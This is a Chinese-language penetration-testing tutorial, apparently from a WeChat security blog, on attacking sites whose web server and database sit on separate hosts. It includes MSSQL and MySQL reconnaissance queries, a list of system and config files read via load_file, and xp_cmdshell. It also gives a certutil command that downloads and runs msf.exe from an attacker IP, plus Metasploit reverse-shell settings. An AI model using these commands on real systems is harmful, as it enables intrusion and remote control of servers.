|
所有话题标签： |
0x01 前言
0x02 何为站库分离？
0x03 站库分离渗透入口
(1) Web入口渗透
通过网站的各种漏洞来Getshell，如：文件上传、文件包含、命令执行、代码执行、SQL注入写入一句话（Into outfile、日志备份）等，在获得Webshell权限或者有诸如文件读取等漏洞时，我们可以读数据库配置文件、对数据库内容分析、查找数据库备份，进而对内网数据库服务器进行渗透。
(2) Data入口渗透
从数据库入口渗透同样是为了获取更大的权限，或者扩展我们的渗透成果。比如从这台数据库服务器中可以得到网站和数据库的一些用户、密码等信息，在后续的内网渗透中可以很有效的帮助我们。
通过外网暴露的数据库弱口令、反编译或嗅探C/S客户端以及Web网站SQL注入漏洞等，在获得数据库账户密码或者利用sqlmap进入到os-shell、sql-shell，这时我们不能写入Webshel，因为这台数据库服务器中没有Web环境，但可以通过以下方式来做信息搜集和获取权限，先拿到这台数据库服务器权限，然后再尝试对Web服务器和内网其他主机进行渗透。
0x04 站库分离判断方法
(1) 网络连接状态
通过Netstat命令查看MSSQL数据库1433端口的网络连接状态，可以看到与当前MSSQL数据库服务器192.168.32.8建立连接的只有192.168.32.3，由此可以判断这台主机为Web服务器。
netstat -ano | findstr "1433"
(2) 数据库配置文件
通过网站程序数据库配置文件来判断是否站库分离，如果数据库IP地址是localhost、127.0.0.1或当前主机内网IP则说明为同服务器，反之则可能为站库分离，自建公网数据库和RDS云数据库除外。
(3) MySQL内置函数和库
通过MySQL的@@hostname内置函数可以查看服务端主机名称，information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息，Windows连接格式：主机名:Port，Linux连接格式：IP:Port，本地连接格式：localhost:Port。
select @@hostname; //服务端主机名称select * from information_schema.PROCESSLIST; //客户端主机名称和端口
select load_file('C:/Windows/System32/drivers/etc/hosts');/etc/hosts/etc/apache2/apache2.conf/etc/httpd/conf/httpd.conf/etc/udev/rules.d/70-persistent-net.rules //获取网卡名称/etc/network/interfaces //DHCP或静态IP/var/lib/dhclient/dhclient--网卡.lease //DHCP/etc/sysconfig/network-scripts/ifcfg-网卡 //静态IPC:/Windows/System32/drivers/etc/hostsC:/Windows/system32/inetsrv/MetaBase.xmlC:/Windows/System32/inetsrv/config/applicationHost.configC:/phpStudy/Apache/conf/httpd.confC:/phpStudy/Apache/conf/vhosts.confC:/phpStudy/PHPTutorial/Apache/conf/httpd.confC:/phpStudy/PHPTutorial/Apache/conf/vhosts.confC:/phpStudy/PHPTutorial/nginx/conf/nginx.confC:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf[...SNIP...]
(4) MSSQL内置函数和表
通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离，如果客户端与服务端返回的主机名不一样则说明为站库分离，返回的主机名一样则说明可能为同服务器。
select host_name(); //客户端主机名称select @@servername; //服务端主机名称select serverproperty('MachineName'); //服务端主机名称
select name from master.sys.sysdatabases;select * from master.sys.sysprocesses where dbid= db_id('sqlinject');exec master..xp_cmdshell 'cmd /c ping WIN-111111111';
and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))
0x05 站库分离利用思路
(1) 下载远程文件
目标主机允许通外网时我们可以利用Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中，然后再去执行一下即可。
certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:ProgramDatamsf.exeC:ProgramDatamsf.exe
(2) 执行远程Payload
目标主机允许通外网时我们可以直接利用Metasploit下的exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话，比第一种方法更简单快捷。
set target 1set payload windows/x64/meterpreter/reverse_tcpset lhost 155.**.***.229set lport 443exploit
(3) 模拟令牌权限提升
笔者曾经在几个这样的“MSSQL站库分离”实战环境中直接通过Incognito扩展中的模拟令牌功能获取到数据库服务器的Admin/SYSTEM令牌。
在本地“站库分离”靶场环境中测试发现，只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌，而大多数人又都是以默认Administrator管理员来安装的MSSQL，所以能够直接获取到Administrator令牌。
支持Windows身份验证的数据库连接工具有：sqlcmd、SSMS和Navicat Premium等。
C:Program FilesMicrosoft SQL Server100ToolsBinnsqlcmd.exe -S "192.168.1.109" -E
0x06 参考链接
-
http://aiyuanzhen.com/index.php/archives/247
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
一如既往的学习，一如既往的整理，一如即往的分享。
“如侵权请私聊公众号删文”
本文始发于微信公众号（渗透Xiao白帽）：【干货】站库分离常规渗透思路总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论